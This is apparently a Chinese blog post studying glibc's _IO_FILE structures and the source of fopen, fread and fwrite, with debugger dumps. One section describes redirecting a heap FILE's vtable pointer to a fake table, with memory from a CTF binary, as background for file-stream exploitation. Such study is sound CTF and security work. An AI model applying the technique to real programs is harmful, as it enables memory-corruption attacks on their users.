dustland

dustball in dustland

IO_FILE

IO FILE

FILE,fopen,fread等函数是glibc为c读写文件准备的数据结构和函数

linux操作系统也提供了open,read等一系列文件操作函数

两者的区别是,linux这一套系统调用基于文件描述符fd,

但是glibc文件io这一套基于文件指针_IO_FILE*,指向一个FILE对象,这个对象中包装着文件描述符fd

datastructure

FILE相关的声明在

1
2
glibc2.27/libio/libioP.h
glibc2.27/libio/bits/libio.h

FILE实际上是_IO_FILE的别名,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
pwndbg> ptype/ox struct _IO_FILE
/* offset | size */ type = struct _IO_FILE {
/* 0x0000 | 0x0004 */ int _flags;
/* XXX 4-byte hole */
/* 0x0008 | 0x0008 */ char *_IO_read_ptr;
/* 0x0010 | 0x0008 */ char *_IO_read_end;
/* 0x0018 | 0x0008 */ char *_IO_read_base;
/* 0x0020 | 0x0008 */ char *_IO_write_base;
/* 0x0028 | 0x0008 */ char *_IO_write_ptr;
/* 0x0030 | 0x0008 */ char *_IO_write_end;
/* 0x0038 | 0x0008 */ char *_IO_buf_base;
/* 0x0040 | 0x0008 */ char *_IO_buf_end;
/* 0x0048 | 0x0008 */ char *_IO_save_base;
/* 0x0050 | 0x0008 */ char *_IO_backup_base;
/* 0x0058 | 0x0008 */ char *_IO_save_end;
/* 0x0060 | 0x0008 */ struct _IO_marker *_markers;
/* 0x0068 | 0x0008 */ struct _IO_FILE *_chain;
/* 0x0070 | 0x0004 */ int _fileno;
/* 0x0074 | 0x0004 */ int _flags2;
/* 0x0078 | 0x0008 */ __off_t _old_offset;
/* 0x0080 | 0x0002 */ unsigned short _cur_column;
/* 0x0082 | 0x0001 */ signed char _vtable_offset;
/* 0x0083 | 0x0001 */ char _shortbuf[1];
/* XXX 4-byte hole */
/* 0x0088 | 0x0008 */ _IO_lock_t *_lock;
/* 0x0090 | 0x0008 */ __off64_t _offset;
/* 0x0098 | 0x0008 */ struct _IO_codecvt *_codecvt;
/* 0x00a0 | 0x0008 */ struct _IO_wide_data *_wide_data;
/* 0x00a8 | 0x0008 */ struct _IO_FILE *_freeres_list;
/* 0x00b0 | 0x0008 */ void *_freeres_buf;
/* 0x00b8 | 0x0008 */ size_t __pad5;
/* 0x00c0 | 0x0004 */ int _mode;
/* 0x00c4 | 0x0014 */ char _unused2[20];

/* total size (bytes): 216 */
}

x86_64上,FILE结构体大小为0xd8

1
2
gef➤  p sizeof(FILE)
$5 = 0xd8

在glibc中保存了一个全局指针_IO_list_all

它指向程序第一个IO_FILE结构体,也就是stderr

1
2
3
4
5
6
7
8
9
gef➤  ptype _IO_list_all
type = struct _IO_FILE_plus {
_IO_FILE file;
const struct _IO_jump_t *vtable;
} *
gef➤ p &_IO_list_all
$7 = (struct _IO_FILE_plus **) 0x7ffff7dd3660 <__GI__IO_list_all>
gef➤ p _IO_list_all
$8 = (struct _IO_FILE_plus *) 0x7ffff7dd3680 <_IO_2_1_stderr_>

实际上打印其类型时发现并不是一个_IO_FILE,而是一个_IO_FILE_plus,这两者是包含关系

1
2
3
4
5
struct _IO_FILE_plus
{
_IO_FILE file;
const struct _IO_jump_t *vtable;
};

stderr,stdout,stdin,实际上就是三个FILE

image-20240924184530135

algorithm

fopen

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
fopen	_IO_new_fopen @glibc-2.27/libio/iofopen.c:87
->__fopen_internal @glibc-2.27/libio/iofopen.c:56

new_f = malloc(sizeof(struct locked_FILE)); //locked_FILE = {IO_FILE_plus fp; _IO_lock_t; _IO_wide_data;}

_IO_JUMPS //new_f->fp->vtable = &_IO_file_jumps


->_IO_new_file_init_internal @glibc-2.27/libio/fileops.c:106
->_IO_link_in @glibc-2.27/libio/genops.c:86
fp->file._chain = (_IO_FILE *) _IO_list_all; //头插法上链
_IO_list_all = fp;

->_IO_new_file_fopen @glibc-2.27/libio/fileops.c:212
语法分析打开模式(rwa/+xbmce)
->_IO_file_open @glibc-2.27/libio/fileops.c:181
->file._fileno = open() 使用系统调用,返回文件描述符
->_IO_link_in //实际上已经在_IO_link_in上过链了,哈基米知道已经上链会自己判重的

如果_IO_new_file_fopen返回了文件指针fp,说明打开文件成功
否则->_IO_un_link 下链然后 free(new_f)
file = fopen

fread

1
_IO_fread (void *buf, _IO_size_t size, _IO_size_t count, _IO_FILE *fp);

从fp指向的文件, 每次读取size宽度的数据,读取count个单位的数据,到缓冲区buf, 返回实际读取字节数

申请缓冲区

fread包装了read系统调用, 在堆块上建立缓冲区, 一次性使用read读取大量数据到缓冲区,减少多次调用read造成的上下文切换和io开销

第一次调用fread函数,_IO_file_xsgetn首先判断当前FILE是否有缓冲区,如果没有则申请一个,会在堆上要0x1000个字节的堆块,也就是1K的堆块作为缓冲区

1
2
3
4
5
6
7
8
9
10
11
12
_IO_fread @glibc2.27/libio/iofread.c:30
->_IO_sgetn //_IO_XSGETN
->_IO_file_xsgetn @glibc2.27/libio/fileops.c:1294
->_IO_doallocbuf
->_IO_file_doallocate @glibc2.27/libio/filedoalloc.c:77
->p=malloc(0x1000)
->_IO_setb(_IO_FILE *f=fp, char *b=p, char *eb=p+0x1000, int a=1) @glibc2.27/libio/genops.c: 346
如果fp之前有缓冲区,现在要喜新厌旧了
fp->_IO_buf_base=b
fp->_IO_buf_end=eb
if(a == 1) f->_flags &= ~_IO_USER_BUF;

申请缓冲区这部分代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
_IO_size_t
_IO_file_xsgetn (_IO_FILE *fp, void *data, _IO_size_t n)
{
if (fp->_IO_buf_base == NULL)
{
/* Maybe we already have a push back pointer. */
if (fp->_IO_save_base != NULL)
{
free (fp->_IO_save_base);
fp->_flags &= ~_IO_IN_BACKUP;
}
_IO_doallocbuf (fp); //申请缓冲区去了
}
...

申请完了后开始读取

读取数据

读取的逻辑是这样的:

1
2
3
4
5
6
7
8
//have表示当前缓冲区中,剩余字节数
//want表示还剩多少字节需要读,当want降为0时意味着满足了需求

如果缓冲区余料多于需求,则直接满足
否则
如果一整个缓冲区的大小足够want则先放到缓冲区然后满足
否则也就是说一整个缓冲区大小都不够,此时缓冲没有意义了,直接全系统调用满足

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
_IO_size_t
_IO_file_xsgetn (_IO_FILE *fp, void *data, _IO_size_t n) //fp文件指针,data目的地,n总共需要读取的字节数
{
_IO_size_t want, have; //want剩余想要读取的字节数, have缓冲区剩余的字节数
_IO_ssize_t count;
char *s = data; //s作为data的迭代器

want = n;

//此处略去没有缓冲区时申请缓冲区的逻辑

while (want > 0) { //直到读取到文件EOF或者满足了want的要求才会跳出循环
have = fp->_IO_read_end - fp->_IO_read_ptr; //缓冲区末尾与当前指针的距离,就是缓冲区剩余字节数
if (want <= have){ //如果缓冲区中余料充足
memcpy (s, fp->_IO_read_ptr, want);
fp->_IO_read_ptr += want;
want = 0; //已满足要求
} else { //否则
//如果控制流到此,说明缓冲区余料太少了,不能直接满足want要求
if (have > 0){ //如果缓冲区还有余料
s = __mempcpy (s, fp->_IO_read_ptr, have); //先把余料吃了再说
want -= have;
fp->_IO_read_ptr += have; //此举导致read_ptr=read_end,缓冲区告罄
}

/* Check for backup and repeat */
if (_IO_in_backup (fp)){ //当上一次刷新缓冲区被中断而没有完成时,上次动作会保存在backup缓冲区,现在要完成未竟之事
_IO_switch_to_main_get_area (fp);
continue;
}

/* If we now want less than a buffer, underflow and repeat
the copy. Otherwise, _IO_SYSREAD directly to
the user buffer. */


//buf是整个缓冲区,而read是当前有效的缓冲区,此举在判断want是否小于整个缓冲区
//当want小于一整个缓冲区时,刷新缓冲区才有意义,
//如果want大于一整个缓冲区,那么此时刷新缓冲只会增加io,不如直接syscall read
if (fp->_IO_buf_base && want < (size_t) (fp->_IO_buf_end - fp->_IO_buf_base)){
if (__underflow (fp) == EOF) //只有当want小于一整个缓冲区时才会考虑刷新缓冲区
break;
continue;
}

/* These must be set before the sysread as we might longjmp out
waiting for input. */
//缓冲区复位
_IO_setg (fp, fp->_IO_buf_base, fp->_IO_buf_base, fp->_IO_buf_base);
_IO_setp (fp, fp->_IO_buf_base, fp->_IO_buf_base);

/* Try to maintain alignment: read a whole number of blocks. */
count = want; //count用于计算需要使用syscall-read进行io的字节数
if (fp->_IO_buf_base){
_IO_size_t block_size = fp->_IO_buf_end - fp->_IO_buf_base;
if (block_size >= 128)
count -= want % block_size;//减去最后一个不完整的块大小
}

count = _IO_SYSREAD (fp, s, count); //把整数个块直接读出来
if (count <= 0){
if (count == 0)
fp->_flags |= _IO_EOF_SEEN;
else
fp->_flags |= _IO_ERR_SEEN;
break;
}

s += count;
want -= count; //到此want可能还有剩下的最后不完整的一块,下一次循环时刷新缓冲区满足
if (fp->_offset != _IO_pos_BAD)
_IO_pos_adjust (fp->_offset, count);
}
}
return n - want;
}

underflow

1
2
3
4
5
6
__underflow @
->_IO_new_file_underflow @fileops.c:469
指针复位
->_IO_file_read
->_IO_new_file_underflow
->__read(fp->_fileno, buf, size)

fread调用的underflow和fwrite调用的overflow是一对兄弟函数

underflow意思是从文件往缓冲区载入数据,维持读缓冲区满

overflow意思是从缓冲区向文件写入数据,维持写缓冲区空

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
int
__underflow (FILE *fp)
{
if (_IO_vtable_offset (fp) == 0 && _IO_fwide (fp, -1) != -1)
return EOF;

if (fp->_mode == 0)//如果当前fp字节流使用宽字节,则调用fwide
_IO_fwide (fp, -1);
if (_IO_in_put_mode (fp))//如果当前fp处于写入状态,则切换状态为读取状态
if (_IO_switch_to_get_mode (fp) == EOF)
return EOF;
if (fp->_IO_read_ptr < fp->_IO_read_end) //如果缓冲区还有东西则返回当前read_ptr指向的字节
return *(unsigned char *) fp->_IO_read_ptr;
if (_IO_in_backup (fp))
{
_IO_switch_to_main_get_area (fp);
if (fp->_IO_read_ptr < fp->_IO_read_end)
return *(unsigned char *) fp->_IO_read_ptr;
}
if (_IO_have_markers (fp))
{
if (save_for_backup (fp, fp->_IO_read_end))
return EOF;
}
else if (_IO_have_backup (fp))
_IO_free_backup_area (fp);
return _IO_UNDERFLOW (fp);
}

_IO_UNDERFLOW实际上调用的_IO_new_file_underflow

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
int _IO_new_file_underflow(FILE *fp)
{
ssize_t count;

/* C99 requires EOF to be "sticky". */
if (fp->_flags & _IO_EOF_SEEN)
return EOF;

if (fp->_flags & _IO_NO_READS) //必须要有READ权限
{
fp->_flags |= _IO_ERR_SEEN;
__set_errno(EBADF);
return EOF;
}
if (fp->_IO_read_ptr < fp->_IO_read_end) //如果缓冲区还有剩余的东西,则不允许刷新
return *(unsigned char *)fp->_IO_read_ptr;

if (fp->_IO_buf_base == NULL) //如果还没有建立缓冲区,现在就建立
{
/* Maybe we already have a push back pointer. */
if (fp->_IO_save_base != NULL)
{
free(fp->_IO_save_base);
fp->_flags &= ~_IO_IN_BACKUP;
}
_IO_doallocbuf(fp);
}

/* FIXME This can/should be moved to genops ?? */
if (fp->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED)) //对于行缓冲和无缓冲的情况
{
/* We used to flush all line-buffered stream. This really isn't
required by any standard. My recollection is that
traditional Unix systems did this for stdout. stderr better
not be line buffered. So we do just that here
explicitly. --drepper */
_IO_acquire_lock(stdout);

if ((stdout->_flags & (_IO_LINKED | _IO_NO_WRITES | _IO_LINE_BUF)) == (_IO_LINKED | _IO_LINE_BUF))
_IO_OVERFLOW(stdout, EOF);//刷新stdout缓冲

_IO_release_lock(stdout);
}

_IO_switch_to_get_mode(fp);

/* This is very tricky. We have to adjust those
pointers before we call _IO_SYSREAD () since
we may longjump () out while waiting for
input. Those pointers may be screwed up. H.J. */
fp->_IO_read_base = fp->_IO_read_ptr = fp->_IO_buf_base;//缓冲区复位
fp->_IO_read_end = fp->_IO_buf_base;
fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_write_end = fp->_IO_buf_base;

count = _IO_SYSREAD(fp, fp->_IO_buf_base, //缓冲区更新,从文件读取,塞满整个缓冲区
fp->_IO_buf_end - fp->_IO_buf_base);
if (count <= 0)
{
if (count == 0)
fp->_flags |= _IO_EOF_SEEN;
else
fp->_flags |= _IO_ERR_SEEN, count = 0;
}
fp->_IO_read_end += count; //读缓冲区根据实际count数决定
if (count == 0)
{
/* If a stream is read to EOF, the calling application may switch active
handles. As a result, our offset cache would no longer be valid, so
unset it. */
fp->_offset = _IO_pos_BAD;
return EOF;
}
if (fp->_offset != _IO_pos_BAD)
_IO_pos_adjust(fp->_offset, count);
return *(unsigned char *)fp->_IO_read_ptr;
}

vtable何时发挥作用?

1
2
3
_IO_fread @glibc2.27/libio/iofread.c:30
->_IO_sgetn //_IO_XSGETN
->_IO_file_xsgetn @glibc2.27/libio/fileops.c:1294

_IO_sgetn调用_IO_file_xsgetn时首先需要‘调用’_IO_XSGETN,这实际上是一个宏定义

1
2
3
4
5
6
size_t
_IO_sgetn (FILE *fp, void *data, size_t n)
{
/* FIXME handle putback buffer here! */
return _IO_XSGETN (fp, data, n);
}
1
2
3
4
5
6
7
8
#define _IO_XSGETN(FP, DATA, N) JUMP2 (__xsgetn, FP, DATA, N)

#define JUMP2(FUNC, THIS, X1, X2) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1, X2)

#define _IO_JUMPS_FUNC(THIS) (IO_validate_vtable (_IO_JUMPS_FILE_plus (THIS)))

#define _IO_JUMPS_FILE_plus(THIS) \
_IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE_plus, vtable)

如果展开这个宏

1
2
3
4
5
6
7
8
9
10
11
12
13
_IO_XSGETN(FP, DATA, N) 
= JUMP2 (__xsgetn, FP, DATA, N)
= (_IO_JUMPS_FUNC(FP)->__xsgetn) (FP, DATA, N)
= (IO_validate_vtable (_IO_JUMPS_FILE_plus (FP))->__xsgetn) (FP, DATA, N)
= (IO_validate_vtable (_IO_CAST_FIELD_ACCESS ((FP), struct _IO_FILE_plus, vtable))->__xsgetn) (FP, DATA, N)
= (IO_validate_vtable (FP->vtable)[__xsgetn] ) (FP, DATA, N)

IO_validate_vtable接受一个vtable指针,原封不动地返回,只对这个vtable做一些校验
=(FP->vtable)[__xsgetn](FP, DATA, N)

__xsgetn可以理解为偏移量或者枚举值
fp的vtable表中偏移量为__xsgetn处就是_IO_file_xsgetn
=_IO_file_xsgetn (FP, DATA, N)

还有一种思路是保持真表不变,但是篡改真表上的函数指针

但是前提是真表所在的内存区块可写

然而事实上不可写

1
2
3
4
5
6
7
8
9
10
pwndbg> p _IO_list_all.vtable
$5 = (const struct _IO_jump_t *) 0x7ffff7dd06e0 <_IO_file_jumps>
pwndbg> info target
...
0x00007ffff7dcd900 - 0x00007ffff7dd0ba0 is .data.rel.ro in /lib/x86_64-linux-gnu/libc.so.6
...
pwndbg> lm
...
0x7ffff7dcd000 0x7ffff7dd1000 r--p 4000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
...

只可读

因此只能考虑当_IO_list_all位于堆区时,修改其vtable指针指向假表

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
pwndbg> p _IO_list_all
$25 = (struct _IO_FILE_plus *) 0x602010
pwndbg> p *_IO_list_all
$26 = {
file = {
_flags = -72539000,
_IO_read_ptr = 0x0,
_IO_read_end = 0x0,
_IO_read_base = 0x0,
_IO_write_base = 0x0,
_IO_write_ptr = 0x0,
_IO_write_end = 0x0,
_IO_buf_base = 0x0,
_IO_buf_end = 0x0,
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x7ffff7dd2540 <_IO_2_1_stderr_>,
_fileno = 3,
_flags2 = 0,
_old_offset = 0,
_cur_column = 0,
_vtable_offset = 0 '\000',
_shortbuf = "",
_lock = 0x6020f0,
_offset = -1,
_codecvt = 0x0,
_wide_data = 0x602100,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0,
_mode = 0,
_unused2 = '\000' <repeats 19 times>
},
vtable = 0x7ffff7dd06e0 <_IO_file_jumps>
}
pwndbg> x/30gx file
0x602010: 0x00000000fbad2488 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000000000
0x602030: 0x0000000000000000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000000
0x602050: 0x0000000000000000 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000000000
0x602070: 0x0000000000000000 0x00007ffff7dd2540
0x602080: 0x0000000000000003 0x0000000000000000
0x602090: 0x0000000000000000 0x00000000006020f0
0x6020a0: 0xffffffffffffffff 0x0000000000000000
0x6020b0: 0x0000000000602100 0x0000000000000000
0x6020c0: 0x0000000000000000 0x0000000000000000
0x6020d0: 0x0000000000000000 0x0000000000000000
0x6020e0: 0x0000000000000000 0x00007ffff7dd06e0 //此处为vtable指针
0x6020f0: 0x0000000000000000 0x0000000000000000
pwndbg> lm
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x400000 0x401000 r-xp 1000 0 /home/dustball/2018_hctf_the_end/main
0x600000 0x601000 r--p 1000 0 /home/dustball/2018_hctf_the_end/main
0x601000 0x602000 rw-p 1000 1000 /home/dustball/2018_hctf_the_end/main
0x602000 0x623000 rw-p 21000 0 [heap]
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
flowchart LR
subgraph stack["stack"]

subgraph main ["main frame"]
filepointer["FILE* file"]
style filepointer fill:RED
end
end

subgraph glibcdata ["glibc memory"]
subgraph table ["_IO_file_jumps"]
__xsputn["__xsputn"]
__xsgetn["__xsgetn"]
etc["..."]
style __xsputn fill:RED
style __xsgetn fill:RED
style etc fill:RED
end
style table fill:GREEN

xsputn["_IO_new_file_xsputn"]
xsgetn["__GI__IO_file_xsgetn"]
style xsputn fill:YELLOW
style xsgetn fill:YELLOW

subgraph plus1["_IO_FILE_plus"]
stderr["struct FILE stderr"]
vtable1["vtable"]

end
subgraph plus2["_IO_FILE_plus"]
stdout["struct FILE stdout"]
vtable2["vtable"]
end
subgraph plus3["_IO_FILE_plus"]
stdin["struct FILE stdin"]
vtable3["vtable"]
end

listhead["_IO_list_all"]
style listhead fill:RED



style vtable1 fill:RED
style vtable2 fill:RED
style vtable3 fill:RED
style stderr fill:GREEN
style stdout fill:GREEN
style stdin fill:GREEN
style plus1 fill:GREEN
style plus2 fill:GREEN
style plus3 fill:GREEN
end




subgraph heap ["heap"]
subgraph plus ["_IO_FILE_plus"]
file["struct FILE file"]
vtable["vtable"]
style file fill:GREEN
style vtable fill:RED
end
style plus fill:GREEN

end


filepointer-->file
vtable---->table

file--chain-->stderr--chain-->stdout--chain-->stdin--chain-->null
__xsputn-->xsputn
__xsgetn-->xsgetn
listhead-->plus1

subgraph example ["图例"]
function["函数"]
style function fill:YELLOW
struct["对象"]
style struct fill:GREEN
pointer["指针"]
style pointer fill:RED
end
style example fill:GRAY

综上,fopen的作用是,创建一个新的_IO_FILE_plus结构体(包括FILE和vtable两部分)并初始化之,然后头插法将其链接到_IO_list_all链表上

fwrite

1
size_t fwrite(const void *ptr, size_t size, size_t nmemb, FILE *stream)

ptr 所指向的数组中的数据写入到给定流 stream 中。

写入size大小的单位nmemb

实际上调用跳转表函数vtable.__xsputn

整个调用过程链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
flowchart TB
fwrite[fwrite]
_IO_fwrite[_IO_fwrite @ glibc-2.38/libio/iofwrite.c:32]
_IO_file_xsputn[_IO_new_file_xsputn @ glibc-2.38/libio/fileops.c:1197]
_IO_file_overflow[
_IO_new_file_overflow @ glibc-2.38/libio/fileops.c:733
也会调用_IO_do_write将现有的缓冲区写入文件
然后缓冲区指针复位
]
_IO_do_write[_IO_new_do_write @ glibc-2.38/libio/fileops.c:425]


new_do_write[
new_do_write @ glibc-2.38/libio/fileops.c:431
read缓冲区三个指针全等于_IO_buf_base
write缓冲区base和ptr指向_IO_buf_base, end指针指向
]
write["__write(f->_fileno,data,to_do)"]

_IO_file_write[_IO_new_file_write @ glibc-2.38/libio/fileops.c:1173]

fwrite--"_IO_sputn"-->_IO_fwrite
_IO_fwrite-->_IO_file_xsputn
_IO_file_xsputn--"_IO_OVERFLOW"-->_IO_file_overflow
_IO_file_xsputn-->_IO_do_write
_IO_do_write-->new_do_write
new_do_write--"_IO_SYSWRITE"-->_IO_file_write
_IO_file_write-->write


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
size_t
_IO_fwrite (const void *buf, size_t size, size_t count, FILE *fp)//一个单位size字节,但是实际上还是以字节为单位
{
size_t request = size * count;
size_t written = 0;
CHECK_FILE (fp, 0); //check个寂寞
if (request == 0)
return 0;
_IO_acquire_lock (fp);
if (_IO_vtable_offset (fp) != 0 || _IO_fwide (fp, -1) == -1)
written = _IO_sputn (fp, (const char *) buf, request); //实际上调用_IO_new_file_xsputn
_IO_release_lock (fp);
/* We have written all of the input in case the return value indicates
this or EOF is returned. The latter is a special case where we
simply did not manage to flush the buffer. But the data is in the
buffer and therefore written as far as fwrite is concerned. */
if (written == request || written == EOF) //返回实际写入单位数,注意不是字节数
return count;
else
return written / size;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
size_t
_IO_new_file_xsputn (FILE *f, const void *data, size_t n)
{
const char *s = (const char *) data; //数据指针
size_t to_do = n; //当前还差多少个没有写入
int must_flush = 0; //行缓冲强制刷新缓冲区标志
size_t count = 0; //当前缓冲区剩余空间

if (n <= 0)
return 0;
/* This is an optimized implementation.
If the amount to be written straddles a block boundary
(or the filebuf is unbuffered), use sys_write directly. */
//如果要写入的大小大于一个块或者filebuf没有缓冲区,那么直接使用系统调用

//如果使用行缓冲 并且 该f文件流目前正在进行写入操作
if ((f->_flags & _IO_LINE_BUF) && (f->_flags & _IO_CURRENTLY_PUTTING))
{
count = f->_IO_buf_end - f->_IO_write_ptr;//count表示当前写缓冲区剩余空间
if (count >= n) //如果剩余空间足够大则直接写入
{
const char *p;
for (p = s + n; p > s; )//寻找最后一个\n,注意此时并未向缓冲区进行拷贝,只是寻找\n
{
if (*--p == '\n') //如果发现有换行符则must_flush置1表示必须刷新缓冲区
{
count = p - s + 1;
must_flush = 1;
break;
}
}
}
}
//否则如果写缓冲区中还有空间,首先计算一下剩余空间count
else if (f->_IO_write_end > f->_IO_write_ptr)
count = f->_IO_write_end - f->_IO_write_ptr; /* Space available. */

/* Then fill the buffer. */
if (count > 0)
{
if (count > to_do) //如果剩余写缓冲区够大直接放到写缓冲区
count = to_do;
f->_IO_write_ptr = __mempcpy (f->_IO_write_ptr, s, count); //直接从data搬到write_buf中
s += count;
to_do -= count;//to_do降为0表明已经写入writebuf了
}
//到此已经解决了写入比较少的情况,能够直接放到write_buf中
//下面还要考虑的业务有:
//1.行缓冲是否有\n结尾,也就是说must_flush是否置位, 如果是,则需要刷新缓冲区(也就是写入到文件)
//2.写入量很大,超过了缓冲区剩余数量
//2.1首先把现有的缓冲区写入到文件,缓冲区复位,看看能否容纳写入量
//2.2如果还容纳不了,则直接syscall

//如果没开启行缓冲,(也就是must_flush=0),并且写入量比较小已经放到了缓冲区,那么可以返回了,不走下面的业务,直接return


//对于行缓冲需要刷新缓冲区,或者写入量太大时首先尝试缓冲区复位, 处理方式是一样的,首先都刷新缓冲区
//接下来判断一下to_do看看还有没有需要写入的,对于已完成的行缓冲情况可以返回了
//对于写入量大的情况,如果刷新了缓冲区之后,to_do还是大于缓冲区大小,则直接syscall
if (to_do + must_flush > 0) //如果还有to_do则表明count<to_do
//如果有must_flush说明行缓冲需要刷新缓冲区
{
size_t block_size, do_write;
/* Next flush the (full) buffer. */
if (_IO_OVERFLOW (f, EOF) == EOF) //刷新缓冲区,将缓冲区写入文件,调整文件指针,如果已经到达文件末尾则返回EOF
/* If nothing else has to be written we must not signal the
caller that everything has been written. */
return to_do == 0 ? EOF : n - to_do;
//如果文件写满了,也就是EOF了,如果此时to_do为0,对应已经满足的行缓冲,返回EOF.
//对于未满足的大量写入,返回已经写入的字节数n-to_do



//如果控制流到这儿了,说明起码没有EOF
//要么是已经刷新了缓冲区的行缓冲情况,要么是未满足的大量写入请求
/* Try to maintain alignment: write a whole number of blocks. */
block_size = f->_IO_buf_end - f->_IO_buf_base; //block_size大小是缓冲区大小
do_write = to_do - (block_size >= 128 ? to_do % block_size : 0);
//如果block_size>=128,则do_write = to_do - (to_do % block_size)
//to_do大小可能是若干个整块最后是一个不满的块,这个不满的块大小就是(to_do % block_size)
//这样算完之后,do_write就是若干整块 , 不包括最后的不满块

//否则block_size太小不足128,此时do_write就是to_do

if (do_write) //如果有do_write,下面就要实际写入了
{
count = new_do_write (f, s, do_write);
to_do -= count; //此时的to_do可能是不满块剩下的,或者new_do_write没有写完剩下的
if (count < do_write) //如果实际上写入的不足do_write,说明new_do_write没有完成任务,要么是EOF,尽力了,返回实际读了多少
return n - to_do;
}

/* Now write out the remainder. Normally, this will fit in the
buffer, but it's somewhat messier for line-buffered files,
so we let _IO_default_xsputn handle the general case. */
if (to_do) //如果到这里还有to_do,说明是最后那个不满块,
to_do -= _IO_default_xsputn (f, s+do_write, to_do);
}
return n - to_do;
}

_IO_OVERFLOW这个宏实际上也是调用vtable[overflow]函数实现的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
int
_IO_new_file_overflow (FILE *f, int ch) //if (_IO_OVERFLOW (f, EOF) == EOF)
{//ch是结束字符,如果是EOF则不附加在末尾,否则比如'\n'会附加在末尾
//如果打开标志是"r",也就是只读,那么会在_IO_new_file_fopen中设置_IO_NO_WRITES标志,表明只读打开
if (f->_flags & _IO_NO_WRITES) /* SET ERROR *///overflow的作用是将缓冲区写入文件,显然对于只读文件不能写
{
f->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return EOF;
}
/* If currently reading or no buffer allocated. */
if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL)
{//如果文件流f当前不不不处于往文件写入的状态, 或者文件流f没有write_buf
/* Allocate a buffer if needed. */

if (f->_IO_write_base == NULL) //对于没有write_buf的情况则给f分配一个
{
_IO_doallocbuf (f); //申请一个0x1000字节的write_buf给f
_IO_setg (f, f->_IO_buf_base, f->_IO_buf_base, f->_IO_buf_base); //设置write_buf和buf相同
}

/* Otherwise must be currently reading.
If _IO_read_ptr (and hence also _IO_read_end) is at the buffer end,
logically slide the buffer forwards one block (by setting the
read pointers to all point at the beginning of the block). This
makes room for subsequent output.
Otherwise, set the read pointers to _IO_read_end (leaving that
alone, so it can continue to correspond to the external position). */
if (__glibc_unlikely (_IO_in_backup (f)))
{
size_t nbackup = f->_IO_read_end - f->_IO_read_ptr;
_IO_free_backup_area (f);
f->_IO_read_base -= MIN (nbackup,
f->_IO_read_base - f->_IO_buf_base);
f->_IO_read_ptr = f->_IO_read_base;
}

//初始化指针
if (f->_IO_read_ptr == f->_IO_buf_end)
f->_IO_read_end = f->_IO_read_ptr = f->_IO_buf_base;

//这里实际上是f->_IO_write_ptr = f->_IO_buf_base 但是实际上f->_IO_read_ptr也是这个值,因此无所谓了
f->_IO_write_ptr = f->_IO_read_ptr;
f->_IO_write_base = f->_IO_write_ptr;
f->_IO_write_end = f->_IO_buf_end;
f->_IO_read_base = f->_IO_read_ptr = f->_IO_read_end;
//标记正在往文件写入
f->_flags |= _IO_CURRENTLY_PUTTING;
if (f->_mode <= 0 && f->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED))
f->_IO_write_end = f->_IO_write_ptr;
}
if (ch == EOF) //如果ch为EOF则将目前的缓冲区先写入文件然后就返回了
return _IO_do_write (f, f->_IO_write_base,//_IO_do_write会复位缓冲区
f->_IO_write_ptr - f->_IO_write_base);
if (f->_IO_write_ptr == f->_IO_buf_end ) //如果writebuf满了
if (_IO_do_flush (f) == EOF) //也是先把目前缓冲区写入文件,实际上调用的是_IO_do_write,也会复位缓冲区
return EOF;
*f->_IO_write_ptr++ = ch; //最后补上一个ch字符
if ((f->_flags & _IO_UNBUFFERED) //如果不缓冲或者行缓冲并且有\n
